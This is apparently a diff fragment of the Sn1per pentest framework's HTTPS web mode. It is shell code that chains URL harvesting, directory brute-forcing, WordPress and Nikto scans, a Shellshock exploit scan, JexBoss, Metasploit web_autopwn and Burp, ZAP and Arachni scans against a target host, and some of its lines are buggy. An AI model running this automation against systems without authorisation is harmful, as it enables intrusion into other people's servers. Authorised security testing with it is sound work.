||||
fi
|
||||
if [ "$WAYBACKMACHINE" == "1" ]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
if [[ "$WAYBACKMACHINE" == "1" ]]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED FETCHING WAYBACK MACHINE URLS $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
curl -sX GET "http://web.archive.org/cdx/search/cdx?url=*.$TARGET/*&output=text&fl=original&collapse=urlkey" | tee $LOOT_DIR/web/waybackurls-$TARGET.txt 2> /dev/null
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
curl -sX GET "http://web.archive.org/cdx/search/cdx?url=*.$TARGET/*&output=text&fl=original&collapse=urlkey" | tee $LOOT_DIR/web/waybackurls-$TARGET.txt 2> /dev/null | head -n 250
|
||||
fi
|
||||
if [ "$BLACKWIDOW" == "1" ]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
if [[ "$HACKERTARGET" == "1" ]]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED FETCHING HACKERTARGET URLS $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
curl -s GET "https://api.hackertarget.com/pagelinks/?q=https://$TARGET" | egrep -v "API count|no links found|input url is invalid|API count|no links found|input url is invalid|error getting links" | tee $LOOT_DIR/web/hackertarget-https-$TARGET.txt 2> /dev/null | head -n 250
|
||||
fi
|
||||
if [[ "$GAU" == "1" ]]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED FETCHING GUA URLS $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
gau -subs $TARGET | tee $LOOT_DIR/web/gua-$TARGET.txt 2> /dev/null | head -n 250
|
||||
fi
|
||||
if [[ "$BLACKWIDOW" == "1" ]]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED RUNNING ACTIVE WEB SPIDER & APPLICATION SCAN $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
blackwidow -u https://$TARGET:$PORT -l 3 -s y -v n 2> /dev/null
|
||||
cat /usr/share/blackwidow/$TARGET*/* 2> /dev/null > $LOOT_DIR/web/spider-$TARGET.txt 2>/dev/null
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
touch $LOOT_DIR/web/spider-$TARGET.txt 2>/dev/null
|
||||
cp $LOOT_DIR/web/spider-$TARGET.txt $LOOT_DIR/web/spider-$TARGET.bak 2>/dev/null
|
||||
blackwidow -u https://$TARGET:$PORT -l 3 -v n 2> /dev/null
|
||||
cp -f /usr/share/blackwidow/"$TARGET"_"$PORT"/"$TARGET"_"$PORT"-*.txt $LOOT_DIR/web/ 2>/dev/null
|
||||
cat /usr/share/blackwidow/"$TARGET"_*/"$TARGET"_*-urls-sorted.txt > $LOOT_DIR/web/spider-$TARGET.txt 2>/dev/null
|
||||
cat $LOOT_DIR/web/hackertarget-*-$TARGET.txt 2> /dev/null >> $LOOT_DIR/web/spider-$TARGET.txt 2>/dev/null
|
||||
cat $LOOT_DIR/web/waybackurls-$TARGET.txt 2> /dev/null >> $LOOT_DIR/web/spider-$TARGET.txt 2>/dev/null
|
||||
cat $LOOT_DIR/web/passivespider-$TARGET.txt 2> /dev/null >> $LOOT_DIR/web/spider-$TARGET.txt 2>/dev/null
|
||||
cat $LOOT_DIR/web/gua-$TARGET.txt 2> /dev/null >> $LOOT_DIR/web/spider-$TARGET.txt 2>/dev/null
|
||||
sed -ir "s/</\&lh\;/g" $LOOT_DIR/web/spider-$TARGET.txt 2>/dev/null
|
||||
mv -f $LOOT_DIR/web/spider-$TARGET.txtr $LOOT_DIR/web/spider-$TARGET.txt 2>/dev/null
|
||||
sort -u $LOOT_DIR/web/spider-$TARGET.txt 2>/dev/null > $LOOT_DIR/web/spider-$TARGET.sorted 2>/dev/null
|
||||
mv $LOOT_DIR/web/spider-$TARGET.sorted $LOOT_DIR/web/spider-$TARGET.txt 2>/dev/null
|
||||
diff $LOOT_DIR/web/spider-$TARGET.bak $LOOT_DIR/web/spider-$TARGET.txt 2> /dev/null | grep "> " 2> /dev/null | awk '{print $2}' 2> /dev/null > $LOOT_DIR/web/spider-new-$TARGET.txt
|
||||
if [[ $(wc -c $LOOT_DIR/web/spider-new-$TARGET.txt | awk '{print $1}') > 3 ]]; then
|
||||
echo "[sn1persecurity.com] •?((¯°·._.• Spider URL change detected on $TARGET (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•" >> $LOOT_DIR/scans/notifications_new.txt
|
||||
head -n 20 $LOOT_DIR/web/spider-new-$TARGET.txt 2> /dev/null >> $LOOT_DIR/scans/notifications_new.txt 2> /dev/null
|
||||
fi
|
||||
if [[ "$SLACK_NOTIFICATIONS_SPIDER_NEW" == "1" && "SLACK_NOTIFICATIONS" == "1" ]]; then
|
||||
/bin/bash "$INSTALL_DIR/bin/slack.sh" postfile "$LOOT_DIR/web/spider-new-$TARGET.txt"
|
||||
fi
|
||||
fi
|
||||
if [ "$WEB_BRUTE_COMMON" == "1" ]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
if [[ "$INJECTX" == "1" ]]; then
|
||||
rm -f $LOOT_DIR/web/injectx-$TARGET-https-${PORT}.raw 2> /dev/null
|
||||
#cat $LOOT_DIR/web/spider-$TARGET.txt 2> /dev/null | grep '?' | grep 'https\:' | xargs -P $THREADS -r -n 1 -I '{}' injectx.py -u '{}' -vy | tee -a $LOOT_DIR/web/injectx-$TARGET-https.txt
|
||||
for a in `cat $LOOT_DIR/web/spider-$TARGET.txt 2> /dev/null | grep '?' | grep "https\:" | cut -d '?' -f2 | cut -d '=' -f1 | sort -u`; do for b in `grep $a $LOOT_DIR/web/spider-$TARGET.txt 2> /dev/null | grep "https\:" | head -n 1`; do injectx.py -u $b -vy | tee -a $LOOT_DIR/web/injectx-$TARGET-https-${PORT}.txt; done; done;
|
||||
sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/web/injectx-$TARGET-https-${PORT}.raw 2> /dev/null > $LOOT_DIR/web/injectx-$TARGET-https-${PORT}.txt
|
||||
fi
|
||||
source $INSTALL_DIR/modes/static-grep-search.sh
|
||||
if [[ "$WEB_JAVASCRIPT_ANALYSIS" == "1" ]]; then
|
||||
source $INSTALL_DIR/modes/javascript-analysis.sh
|
||||
fi
|
||||
touch $LOOT_DIR/web/dirsearch-$TARGET.bak 2> /dev/null
|
||||
cp $LOOT_DIR/web/dirsearch-$TARGET.txt $LOOT_DIR/web/dirsearch-$TARGET.bak 2> /dev/null
|
||||
if [[ "$WEB_BRUTE_COMMONSCAN" == "1" ]]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED RUNNING COMMON FILE/DIRECTORY BRUTE FORCE $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
python3 $PLUGINS_DIR/dirsearch/dirsearch.py -u https://$TARGET:$PORT -w $WEB_BRUTE_COMMON -x 400,403,404,405,406,429,502,503,504 -F -e php,asp,aspx,jsp,pl,cgi,js,css,txt,html,htm
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
if [[ "$DIRSEARCH" == "1" ]]; then
|
||||
python3 $PLUGINS_DIR/dirsearch/dirsearch.py -u http://$TARGET:$PORT -w $WEB_BRUTE_COMMON -x $WEB_BRUTE_EXCLUDE_CODES -F -e "$WEB_BRUTE_EXTENSIONS" -t $THREADS --exclude-texts=Attack Detected,Please contact the system administrator,Page Not Found,URL No Longer Exists --random-agent --output=$LOOT_DIR/web/dirsearch-$TARGET.txt 2> /dev/null
|
||||
fi
|
||||
if [[ "$GOBUSTER" == "1" ]]; then
|
||||
gobuster -u https://$TARGET:$PORT -w $WEB_BRUTE_COMMON -e -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.181 Safari/537.36" -t $THREADS -o $LOOT_DIR/web/webbrute-$TARGET-https-port$PORT-common.txt -fw -r
|
||||
fi
|
||||
fi
|
||||
if [ "$WEB_BRUTE_FULLSCAN" == "1" ]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
if [[ "$WEB_BRUTE_FULLSCAN" == "1" ]]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED RUNNING FULL FILE/DIRECTORY BRUTE FORCE $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
python3 $PLUGINS_DIR/dirsearch/dirsearch.py -u https://$TARGET:$PORT -w $WEB_BRUTE_FULL -x 400,403,404,405,406,429,502,503,504 -F -e php,asp,aspx,jsp,pl,cgi,js,css,txt,html,htm
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
if [[ "$DIRSEARCH" == "1" ]]; then
|
||||
python3 $PLUGINS_DIR/dirsearch/dirsearch.py -u https://$TARGET:$PORT -w $WEB_BRUTE_FULL -x $WEB_BRUTE_EXCLUDE_CODES -F -e "/" -t $THREADS --exclude-texts=Attack Detected,Please contact the system administrator,Page Not Found,URL No Longer Exists --random-agent --output=$LOOT_DIR/web/dirsearch-$TARGET.txt 2> /dev/null
|
||||
fi
|
||||
if [[ "$GOBUSTER" == "1" ]]; then
|
||||
gobuster -u https://$TARGET:$PORT -w $WEB_BRUTE_FULL -e -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.181 Safari/537.36" -t $THREADS -o $LOOT_DIR/web/webbrute-$TARGET-https-port$PORT-full.txt -fw -r
|
||||
fi
|
||||
fi
|
||||
if [ "$WEB_BRUTE_EXPLOITSCAN" == "1" ]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
if [[ "$WEB_BRUTE_EXPLOITSCAN" == "1" ]]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED RUNNING FILE/DIRECTORY BRUTE FORCE FOR VULNERABILITIES $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
python3 $PLUGINS_DIR/dirsearch/dirsearch.py -u https://$TARGET:$PORT -w $WEB_BRUTE_EXPLOITS -x 400,403,404,405,406,429,502,503,504 -F -e html
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
if [[ "$DIRSEARCH" == "1" ]]; then
|
||||
python3 $PLUGINS_DIR/dirsearch/dirsearch.py -u https://$TARGET:$PORT -w $WEB_BRUTE_EXPLOITS -x $WEB_BRUTE_EXCLUDE_CODES -F -e "/" -t $THREADS --exclude-texts=Attack Detected,Please contact the system administrator,Page Not Found,URL No Longer Exists --random-agent --output=$LOOT_DIR/web/dirsearch-$TARGET.txt 2> /dev/null
|
||||
fi
|
||||
if [[ "$GOBUSTER" == "1" ]]; then
|
||||
gobuster -u https://$TARGET:$PORT -w $WEB_BRUTE_EXPLOITS -e -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.181 Safari/537.36" -t $THREADS -o $LOOT_DIR/web/webbrute-$TARGET-https-port$PORT-exploits.txt -fw -r
|
||||
fi
|
||||
fi
|
||||
cat $PLUGINS_DIR/dirsearch/reports/$TARGET/* 2> /dev/null
|
||||
cat $PLUGINS_DIR/dirsearch/reports/$TARGET/* > $LOOT_DIR/web/dirsearch-$TARGET.txt 2> /dev/null
|
||||
wget https://$TARGET:$PORT/robots.txt -O $LOOT_DIR/web/robots-$TARGET:$PORT-https.txt 2> /dev/null
|
||||
if [ "$CLUSTERD" == "1" ]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
if [[ "$DIRSEARCH" == "1" ]]; then
|
||||
cat $PLUGINS_DIR/dirsearch/reports/$TARGET/* 2> /dev/null
|
||||
cat $PLUGINS_DIR/dirsearch/reports/$TARGET/* > $LOOT_DIR/web/dirsearch-$TARGET.txt 2> /dev/null
|
||||
sort -u $LOOT_DIR/web/dirsearch-$TARGET.txt 2> /dev/null > $LOOT_DIR/web/dirsearch-$TARGET.sorted 2> /dev/null
|
||||
mv $LOOT_DIR/web/dirsearch-$TARGET.sorted $LOOT_DIR/web/dirsearch-$TARGET.txt 2> /dev/null
|
||||
diff $LOOT_DIR/web/dirsearch-$TARGET.bak $LOOT_DIR/web/dirsearch-$TARGET.txt 2> /dev/null | grep "> " 2> /dev/null | awk '{print $2 " " $3 " " $4}' 2> /dev/null > $LOOT_DIR/web/dirsearch-new-$TARGET.txt
|
||||
if [[ $(wc -c $LOOT_DIR/web/dirsearch-new-$TARGET.txt| awk '{print $1}') > 3 ]]; then
|
||||
echo "[sn1persecurity.com] •?((¯°·._.• Disovered URL change detected on $TARGET (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•" >> $LOOT_DIR/scans/notifications_new.txt
|
||||
cat $LOOT_DIR/web/dirsearch-new-$TARGET.txt 2> /dev/null >> $LOOT_DIR/scans/notifications_new.txt 2> /dev/null
|
||||
fi
|
||||
if [[ "$SLACK_NOTIFICATIONS_DIRSEARCH_NEW" == "1" ]]; then
|
||||
/bin/bash "$INSTALL_DIR/bin/slack.sh" postfile "$LOOT_DIR/web/dirsearch-new-$TARGET.txt"
|
||||
fi
|
||||
fi
|
||||
if [[ "$GOBUSTER" == "1" ]]; then
|
||||
sort -u $LOOT_DIR/web/webbrute-$TARGET-*.txt 2> /dev/null > $LOOT_DIR/web/webbrute-$TARGET.txt 2> /dev/null
|
||||
fi
|
||||
wget --connect-timeout=5 --read-timeout=10 --tries=1 https://$TARGET:${PORT}/robots.txt -O $LOOT_DIR/web/robots-$TARGET:${PORT}-https.txt 2> /dev/null
|
||||
if [[ "$CLUSTERD" == "1" ]]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED ENUMERATING WEB SOFTWARE $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
clusterd --ssl -i $TARGET -p $PORT 2> /dev/null | tee $LOOT_DIR/web/clusterd-$TARGET-port$PORT.txt
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
clusterd --sVl -i $TARGET -p ${PORT} 2> /dev/null | tee $LOOT_DIR/web/clusterd-$TARGET-port${PORT}.txt
|
||||
fi
|
||||
if [ "$CMSMAP" == "1" ]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
if [[ "$CMSMAP" == "1" ]]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED RUNNING CMSMAP $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
cmsmap https://$TARGET:$PORT | tee $LOOT_DIR/web/cmsmap-$TARGET-http-port$PORTa.txt
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
cmsmap https://$TARGET:${PORT} | tee $LOOT_DIR/web/cmsmap-$TARGET-http-port${PORT}a.txt
|
||||
echo ""
|
||||
cmsmap https://$TARGET:$PORT/wordpress/ | tee $LOOT_DIR/web/cmsmap-$TARGET-http-port$PORTb.txt
|
||||
cmsmap https://$TARGET:${PORT}/wordpress/ | tee $LOOT_DIR/web/cmsmap-$TARGET-http-port${PORT}b.txt
|
||||
echo ""
|
||||
fi
|
||||
if [ "$WPSCAN" == "1" ]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
if [[ "$WPSCAN" == "1" ]]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED RUNNING WORDPRESS VULNERABILITY SCAN $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
wpscan --url https://$TARGET:$PORT --no-update --disable-tls-checks 2> /dev/null | tee $LOOT_DIR/web/wpscan-$TARGET-http-port$PORTa.txt
|
||||
echo ""
|
||||
wpscan --url https://$TARGET:$PORT/wordpress/ --no-update --disable-tls-checks 2> /dev/null | tee $LOOT_DIR/web/wpscan-$TARGET-http-port$PORTb.txt
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
if [[ "$WP_API_KEY" ]]; then
|
||||
wpscan --url https://$TARGET:${PORT} --no-update --disable-tls-checks --api-token $WP_API_KEY 2> /dev/null | tee $LOOT_DIR/web/wpscan-$TARGET-https-port${PORT}a.raw
|
||||
echo ""
|
||||
wpscan --url https://$TARGET:${PORT}/wordpress/ --no-update --disable-tls-checks --api-token $WP_API_KEY 2> /dev/null | tee $LOOT_DIR/web/wpscan-$TARGET-https-port${PORT}b.raw
|
||||
echo ""
|
||||
else
|
||||
wpscan --url https://$TARGET:${PORT} --no-update --disable-tls-checks 2> /dev/null | tee $LOOT_DIR/web/wpscan-$TARGET-https-port${PORT}a.raw
|
||||
echo ""
|
||||
wpscan --url https://$TARGET:${PORT}/wordpress/ --no-update --disable-tls-checks 2> /dev/null | tee $LOOT_DIR/web/wpscan-$TARGET-https-port${PORT}b.raw
|
||||
fi
|
||||
sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/web/wpscan-$TARGET-https-port${PORT}a.raw 2> /dev/null > $LOOT_DIR/web/wpscan-$TARGET-https-port${PORT}a.txt
|
||||
sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/web/wpscan-$TARGET-https-port${PORT}b.raw 2> /dev/null > $LOOT_DIR/web/wpscan-$TARGET-https-port${PORT}b.txt
|
||||
rm -f $LOOT_DIR/web/wpscan-$TARGET-http*.raw 2> /dev/null
|
||||
fi
|
||||
if [ "$NIKTO" == "1" ]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
if [[ "$NIKTO" == "1" ]]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED RUNNING WEB VULNERABILITY SCAN $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
nikto -h https://$TARGET:$PORT -output $LOOT_DIR/web/nikto-$TARGET-https-port$PORT.txt
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
nikto -h https://$TARGET:${PORT} -output $LOOT_DIR/web/nikto-$TARGET-https-port${PORT}.txt
|
||||
sed -ir "s/</\&lh\;/g" $LOOT_DIR/web/nikto-$TARGET-https-port${PORT}.txt
|
||||
fi
|
||||
if [ "$SHOCKER" == "1" ]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
if [[ "$SHOCKER" == "1" ]]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED RUNNING SHELLSHOCK EXPLOIT SCAN $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
python $PLUGINS_DIR/shocker/shocker.py -H $TARGET --cgilist $PLUGINS_DIR/shocker/shocker-cgi_list --ssl --port $PORT | tee $LOOT_DIR/web/shocker-$TARGET-port$PORT.txt
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
python3 $PLUGINS_DIR/shocker/shocker.py -H $TARGET --cgilist $PLUGINS_DIR/shocker/shocker-cgi_list --sVl --port ${PORT} | tee $LOOT_DIR/web/shocker-$TARGET-port${PORT}.txt
|
||||
fi
|
||||
if [ "$JEXBOSS" == "1" ]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
if [[ "$JEXBOSS" == "1" ]]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED RUNNING JEXBOSS $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
cd /tmp/
|
||||
python /usr/share/sniper/plugins/jexboss/jexboss.py -u https://$TARGET:$PORT | tee $LOOT_DIR/web/jexboss-$TARGET-port$PORT.raw
|
||||
sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/web/jexboss-$TARGET-port$PORT.raw > $LOOT_DIR/web/jexboss-$TARGET-port$PORT.txt 2> /dev/null
|
||||
rm -f $LOOT_DIR/web/jexboss-$TARGET-port$PORT.raw 2> /dev/null
|
||||
python3 /usr/share/sniper/plugins/jexboss/jexboss.py -u https://$TARGET:${PORT} | tee $LOOT_DIR/web/jexboss-$TARGET-port${PORT}.raw
|
||||
sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/web/jexboss-$TARGET-port${PORT}.raw > $LOOT_DIR/web/jexboss-$TARGET-port${PORT}.txt 2> /dev/null
|
||||
rm -f $LOOT_DIR/web/jexboss-$TARGET-port${PORT}.raw 2> /dev/null
|
||||
cd $INSTALL_DIR
|
||||
fi
|
||||
cd $INSTALL_DIR
|
||||
if [ "$METASPLOIT_EXPLOIT" == "1" ]; then
|
||||
SSL="true"
|
||||
source modes/web_autopwn.sh
|
||||
if [[ "$SMUGGLER" = "1" ]]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED RUNNING HTTP REQUEST SMUGGLING DETECTION $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
python3 /usr/share/sniper/plugins/smuggler/smuggler.py --no-color -u https://$TARGET:${PORT} | tee $LOOT_DIR/web/smuggler-$TARGET-port${PORT}.txt
|
||||
fi
|
||||
source modes/osint_stage_2.sh
|
||||
if [[ "$NUCLEI" = "1" ]]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED RUNNING NUCLEI SCAN $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
nuclei -silent -t /root/nuclei-templates/ -c $THREADS -target https://$TARGET:${PORT} -o $LOOT_DIR/web/nuclei-https-${TARGET}-port${PORT}.txt
|
||||
fi
|
||||
cd $INSTALL_DIR
|
||||
SSL="true"
|
||||
source $INSTALL_DIR/modes/web_autopwn.sh
|
||||
source $INSTALL_DIR/modes/osint_stage_2.sh
|
||||
fi
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
echo -e "$OKRED SCAN COMPLETE! $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
echo "$TARGET" >> $LOOT_DIR/scans/updated.txt
|
||||
rm -f $INSTALL_DIR/.fuse_* 2> /dev/null
|
||||
if [ "$LOOT" = "1" ]; then
|
||||
loot
|
||||
fi
|
||||
exit
|
||||
fi
|
||||
if [[ "$BURP_SCAN" == "1" ]]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED RUNNING BURPSUITE SCAN $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
curl -s -X POST "http://$BURP_HOST:$BURP_PORT/v0.1/scan" -d "{\"scope\":{\"include\":[{\"rule\":\"https://$TARGET:$PORT\"}],\"type\":\"SimpleScope\"},\"urls\":[\"https://$TARGET:$PORT\"]}"
|
||||
echo ""
|
||||
for a in {1..30};
|
||||
do
|
||||
echo -n "[-] SCAN #$a: "
|
||||
curl -sI "http://$BURP_HOST:$BURP_PORT/v0.1/scan/$a" | grep HTTP | awk '{print $2}'
|
||||
BURP_STATUS=$(curl -s http://$BURP_HOST:$BURP_PORT/v0.1/scan/$a | grep -o -P "crawl_and_audit.{1,100}" | cut -d\" -f3 | grep "remaining")
|
||||
while [[ ${#BURP_STATUS} -gt "5" ]];
|
||||
do
|
||||
BURP_STATUS=$(curl -s http://$BURP_HOST:$BURP_PORT/v0.1/scan/$a | grep -o -P "crawl_and_audit.{1,100}" | cut -d\" -f3 | grep "remaining")
|
||||
BURP_STATUS_FULL=$(curl -s http://$BURP_HOST:$BURP_PORT/v0.1/scan/$a | grep -o -P "crawl_and_audit.{1,100}" | cut -d\" -f3)
|
||||
echo "[i] STATUS: $BURP_STATUS_FULL"
|
||||
sleep 15
|
||||
done
|
||||
done
|
||||
echo "[+] VULNERABILITIES: "
|
||||
echo "----------------------------------------------------------------"
|
||||
for a in {1..30};
|
||||
do
|
||||
curl -s "http://$BURP_HOST:$BURP_PORT/v0.1/scan/$a" | jq '.issue_events[].issue | "[" + .severity + "] " + .name + " - " + .origin + .path' | sort -u | sed 's/\"//g' | tee $LOOT_DIR/web/burpsuite-$TARGET-$a.txt
|
||||
done
|
||||
echo "[-] Done!"
|
||||
fi
|
||||
if [[ "$ZAP_SCAN" == "1" ]]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED RUNNING OWASP ZAP SCAN $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo "[i] Scanning: https://$TARGET:$PORT/"
|
||||
sudo python3 /usr/share/sniper/bin/zap-scan.py "https://$TARGET:$PORT/"
|
||||
DATE=$(date +"%Y%m%d%H%M")
|
||||
sudo grep "'" /usr/share/sniper/bin/zap-report.txt | cut -d\' -f2 | cut -d\\ -f1 > $LOOT_DIR/web/zap-report-$TARGET-https-$DATE.html
|
||||
cp -f $LOOT_DIR/web/zap-report-$TARGET-https-$DATE.html $LOOT_DIR/web/zap-report-$TARGET-https.html 2> /dev/null
|
||||
echo "[i] Scan complete."
|
||||
echo "[+] Report saved to: $LOOT_DIR/web/zap-report-$TARGET-https-$DATE.html"
|
||||
fi
|
||||
if [[ "$ARACHNI_SCAN" == "1" ]]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED RUNNING ARACHNI SCAN $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
DATE=$(date +"%Y%m%d%H%M")
|
||||
mkdir -p $LOOT_DIR/web/arachni_${TARGET}_${PORT}_${DATE}/
|
||||
arachni --report-save-path=$LOOT_DIR/web/arachni_${TARGET}_${PORT}_${DATE}/ --output-only-positives http://$TARGET:$PORT | tee ${LOOT_DIR}/web/arachni_webscan_${TARGET}_${PORT}_${DATE}.txt
|
||||
|
||||
cd $LOOT_DIR/web/arachni_${TARGET}_${PORT}_${DATE}/
|
||||
arachni_reporter $LOOT_DIR/web/arachni_${TARGET}_${PORT}_${DATE}/*.afr --report=html:outfile=$LOOT_DIR/web/arachni_${TARGET}_${PORT}_${DATE}/arachni.zip
|
||||
cd $LOOT_DIR/web/arachni_${TARGET}_${PORT}_${DATE}/
|
||||
unzip arachni.zip
|
||||
cd $INSTALL_DIR
|
||||
fi
|
||||
